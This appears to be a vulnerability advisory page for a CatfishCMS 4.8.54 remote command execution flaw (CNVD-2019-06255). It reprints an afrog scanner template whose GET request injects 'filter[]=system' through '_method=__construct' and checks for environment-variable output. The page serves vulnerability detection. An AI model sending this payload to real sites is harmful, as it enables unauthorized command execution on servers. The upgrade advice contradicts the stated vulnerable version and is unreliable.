CNVD-2019-06255: CatfishCMS RCE

2025-08-01 CatfishCMS PoC Public

Description

CatfishCMS 4.8.54 contains a remote command execution vulnerability in the "method" parameter.

PoC

id: CNVD-2019-06255

info:
  name: CatfishCMS RCE
  author: Lark-Lab
  severity: critical
  verified: false
  description: CatfishCMS 4.8.54 contains a remote command execution vulnerability in the "method" parameter.
  reference:
    - https://its401.com/article/yun2diao/91344725
    - https://github.com/xwlrbh/Catfish/issues/4
  solutions: Upgrade to CatfishCMS version 4.8.54 or later.
  tags: rce,cnvd,catfishcms,cnvd2019
  created: 2020/09/11

rules:
  r0:
    request:
      method: GET
      path: /s=set&_method=__construct&method=*&filter[]=system
    expression: |
      response.status == 200 &&
      response.body.bcontains(b'OS') &&
      response.body.bcontains(b'PATH') &&
      response.body.bcontains(b'SHELL') &&
      response.body.bcontains(b'USER')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2019/CNVD-2019-06255.yaml

References

Related Vulnerabilities